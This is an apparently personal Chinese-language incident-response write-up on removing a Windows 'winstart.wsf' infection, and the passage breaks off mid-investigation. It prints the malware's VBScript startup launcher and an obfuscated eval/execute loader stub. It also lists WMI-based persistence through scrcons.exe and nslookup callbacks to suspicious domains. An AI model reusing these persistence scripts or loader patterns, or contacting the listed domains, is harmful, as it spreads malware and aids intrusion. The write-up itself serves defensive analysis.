winstart.wsf 病毒清理大作战

0x00 背景

发现感染了winstart.wsf 病毒如何清理。

0x01 现象

遍历Users下每个目录以及C:\和C:\Windows\Temp 2个目录写入病毒文件。

C:\Users\Administrator\AppData\Local\Temp\winstart.wsf

C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\win.wsf

C:\Users\userA\AppData\Local\Temp\winstart.wsf

C:\Users\userA\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\win.wsf

C:\Users\Default\AppData\Local\Temp\winstart.wsf (我将Temp完整文件夹删除后不再创建，Temp\winstart.wsf Temp\Temp.Temp)

C:\autoexec.wsf

C:\Windows\Temp\winstart.wsf

C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\win.wsf内容如下

<job> <objectid="w"progid="WScript.Shell"/>

<scriptlanguage="VBScript">

tempPath = w.expandenvironmentstrings("%TEMP%") & "\winstart.wsf" homeDrivePath = w.expandenvironmentstrings("%HOMEDRIVE%") & "\autoexec.wsf"

homePath = w.expandenvironmentstrings("%HOME%") & "\winstart.wsf"

w.run "wscript.exe //B " & Chr(34) & tempPath & Chr(34)

w.run "wscript.exe //B " & Chr(34) & homeDrivePath & Chr(34)

w.run "wscript.exe //B " & Chr(34) & homePath & Chr(34)

</script> </job>

%TEMP%\winstart.wsf内容如下

PNG<job id="EYPGTeN"><script language="VBScript" src="TMP.TMP">eval("ex"&"ecut"&"e(EYPGTeNeXe)=1")</Script></job>

%HOMEDRIVE%\autoexec.wsf

PNG<job id="EYPGTeN"><script language="VBScript" src="TMP.TMP">eval("ex"&"ecut"&"e(EYPGTeNeXe)=1")</Script></job>

%HOME%\winstart.wsf

PNG<job id="EYPGTeN"><script language="VBScript" src="TMP.TMP">eval("ex"&"ecut"&"e(EYPGTeNeXe)=1")</Script></job>

以上文件删除之后重新覆盖生成。

0x02 排查

通过wmi 定位子程序和父程序：

wmic process where "name='wscript.exe'" get processid,ParentProcessId,commandline

有2个程序

commandline	ParentProcessId	ParentProcessId
"C:\Windows\System32\wscript.exe" //B "C:\Windows\TEMP\winstart.wsf"	6208	5496
"C:\Windows\System32\wscript.exe" "C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\win.wsf"	11372	14188

6208父进程无法在任务管理器看到 (可能是启动完父进程就结束了)

用processmon 抓包 Process Name: wscript.exe Operation: Process Create

有dns出网行为

Process Name	Operation	Path	Detail
wscript.exe	Process Create	C:\Windows\System32\cmd.exe	PID: 8984, Command line: "C:\Windows\System32\cmd.exe" /c nslookup a1.airobotheworld.com>>C:\Windows\TEMP\~cmdscript.tmp
wscript.exe	Process Create	C:\Windows\System32\cmd.exe	PID: 12140, Command line: "C:\Windows\System32\cmd.exe" /c nslookup a1.aigoingtokill.club>>C:\Windows\TEMP\~cmdscript.tmp
wscript.exe	Process Create	C:\Windows\System32\cmd.exe	PID: 11084, Command line: "C:\Windows\System32\cmd.exe" /c nslookup a1.6cs6.club>>C:\Windows\TEMP\~cmdscript.tmp

Process Name: scrcons.exe Operation: Process Create

Process Name	Operation	Path	Detail
scrcons.exe	Process Create	C:\Windows\System32\wscript.exe	PID: 912, Command line: "C:\Windows\System32\wscript.exe" //B "C:\Windows\TEMP\winstart.wsf"

进程链：

svchost.exe -> scrcons.exe -> wscript.exe

1).scrcons.exe 进程动作

(向很多目录写wsf文件，遍历Users下每个目录以及C:\和C:\Windows\Temp 2个目录)：

C:\Users\Administrator\AppData\Local\Temp\winstart.wsf

C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\win.wsf

C:\Users\userA\AppData\Local\Temp\winstart.wsf

C:\Users\userA\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\win.wsf

C:\Users\Default\AppData\Local\Temp\winstart.wsf (我将Temp完整文件夹删除后不再创建，Temp\winstart.wsf Temp\Temp.Temp)

C:\autoexec.wsf

C:\Windows\Temp\TMP.TMP

C:\Windows\Temp\winstart.wsf

同时写注册表：winstart

winstart.wsf 内容：

PNG<job id="oesDllY"><script language="VBScript" src="TMP.TMP">eval("ex"&"ecut"&"e(oesDllYeXe)=1")</Script></job>

2).wscript.exe 进程动作：

PID: 8984, Command line: "C:\Windows\System32\cmd.exe" /c nslookup a1.airobotheworld.com>>C:\Windows\TEMP\~cmdscript.tmp

PID: 12140, Command line: "C:\Windows\System32\cmd.exe" /c nslookup a1.aigoingtokill.club>>C:\Windows\TEMP\~cmdscript.tmp

PID: 11084, Command line: "C:\Windows\System32\cmd.exe" /c nslookup a1.6cs6.club>>C:\Windows\TEMP\~cmdscript.tmp

2.1.检查开机启动项:

任务管理器-启动- 查看启动项

发现有开机启动项 wscript.exe

kill任务管理器中 wscript.exe

wmic process where "name='wscript.exe'" get processid,ParentProcessId,commandline

CommandLine ParentProcessId ProcessId

没有可用实例

删除注册表中

计算机\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run winstart键值失败

猜测 scrcons.exe 被注入进程，执行 WriteFile (后重启无效，方向错误)

执行的动作是遍历Users下每个目录以及C:\和C:\Windows\Temp 2个目录：

AppData\Local 和 AppData\Roaming 主要区别：